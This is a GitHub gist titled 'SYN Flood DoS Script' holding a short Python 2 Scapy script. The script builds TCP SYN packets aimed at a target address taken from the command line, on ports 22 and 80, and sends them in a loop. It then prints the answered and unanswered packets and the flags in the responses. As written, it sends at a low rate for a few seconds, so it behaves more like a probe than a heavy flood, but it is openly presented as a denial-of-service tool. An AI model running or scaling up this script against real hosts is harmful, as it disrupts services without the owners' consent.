Created
October 12, 2018 05:02
-
-
Save 0x9090/fda7816bfc3523f131859fd585ba64de to your computer and use it in GitHub Desktop.
SYN Flood DoS Script
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import sys | |
from scapy.all import * | |
print "Field Values of packet sent" | |
p=IP(dst=sys.argv[1],id=1111,ttl=99)/TCP(sport=RandShort(),dport=[22,80],seq=12345,ack=1000,window=1000,flags="S")/"flooder" | |
ls(p) | |
print "Sending Packets in 0.3 second intervals for timeout of 4 sec" | |
ans,unans=srloop(p,inter=0.3,retry=2,timeout=4) | |
print "Summary of answered & unanswered packets" | |
ans.summary() | |
unans.summary() | |
print "source port flags in response" | |
ans.make_table(lambda(s,r): (s.dst, s.dport, r.sprintf("%IP.id% \t %IP.ttl% \t %TCP.flags%"))) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment